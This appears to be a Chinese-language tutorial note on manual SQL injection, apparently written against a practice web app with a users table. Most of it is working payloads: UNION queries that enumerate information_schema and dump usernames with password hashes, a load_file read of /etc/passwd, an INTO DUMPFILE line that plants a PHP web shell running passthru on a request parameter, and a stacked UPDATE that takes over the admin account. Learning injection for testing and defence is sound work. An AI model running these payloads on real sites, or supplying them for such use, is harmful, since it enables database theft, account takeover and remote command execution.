原理:服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。
用户登陆判断语句:
- SELECT -operator">* FROM users WHERE user-operator">='uname' AND password-operator">='pass'
- SELECT -operator">* FROM users WHERE user-operator">='name' AND password-operator">='' OR ''-operator">=''
基于报错的检测方法(low)——>能注入就不会报错
' " % ( )
基于布尔的检测
- 1' and '1'='1
- 1' and '1
- 1' and '1'='2
- 1' and '0
类似:select first_name,surname from users where id=' '(单引号中是:1' and '1'='1 将两个单引号再次闭合。意思是,id=1是真后面也是真,这是构造逻辑与运算;逻辑或运算?)
检测表列数/显示信息位于哪一列
' order by 9--+
按查询序列号排序(注释符:--)select *时表字段数=查询字段数
联合查询:
- ' union select 1,2--+
- ' union all select database(),2--+
单引号用于闭合
联合查询内容列举:
' union select database(),substring_index(USER(),"@",1)--
DB用户:user()
DB版本:version()
(' union select user(),version()-- )
全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
(' union select user(),@@datadir-- 等等)
当前库:database()
(' union select user(),database()-- )
ASCII转字符:char()
(' union select user(),char(55)--+ 把数值输入里面,ASCII码注入)
连接字符串(联合查询):CONCAT_WS(CHAR(32,58,32),user(),database(),version())
(' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--+)
计算哈希:md5()
(' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5('a')--+)
Mysql数据结构简介:
information_schema——>源数据库,数据库结构的管理者。(每个结构存储数据)
(包含数据库管理系统内的所有信息,不是数据,是本身信息;包含字段、表、有多少表等等)
搜友库所有表/统计每库中表的数量:
- ' union select table_name,table_schema from information_schema.tables--+
- ' UNION select table_schema,count(-operator">*) FROM information_Schema.tables group by table_schema --
数据库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='数据库'--+
Users表中的所有列(user_id、first_name、last_name、user、password、avatar)
' union select table_name,column_name from information_schema.columns where table_schema='数据库' and table_name='users'--+
查询user、password列的内容
- ' union select user,password from 数据库.users--+
- ' union select user,password from users--+
- ' union select null, concat(user,0x3a,password) from users--+
读取文件
' union SELECT null, load_file('/etc/passwd')--+
命令读取本地数据库文件
写入文件
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/ www/a.php" --+
直接写写不进去
保存下载数据库
- ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ tmp/a.db'-
猜列名
' and column is null--+
猜当前表表名
' and table.user is null-operator">--+
猜库里其它表
' and (select count(*) from table)>0--+
列表对应关系
' and users.user is null-operator">--+
猜字段内容
- ' or user='admin (输入完全正确的字段猜解)
- ' or user like ' %a% (大概的字段,只要有a的都查)
猜账号对应密码
- ' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
- 密码需要进行加密处理
(猜解类似于暴力破解密码,猜解区别就是需要有webapplication输入字符有返回错误提示信息,可用fuzz功能)
当数据库可写(因无法破解所知账号的md5密码,但是数据库中的表可以写入,那么写入一个账号+md5密码)
'; update users set user='jerome' where user='admin
网站声明:如果转载,请联系本站管理员。否则一切后果自行承担。
加入交流群
请使用微信扫一扫!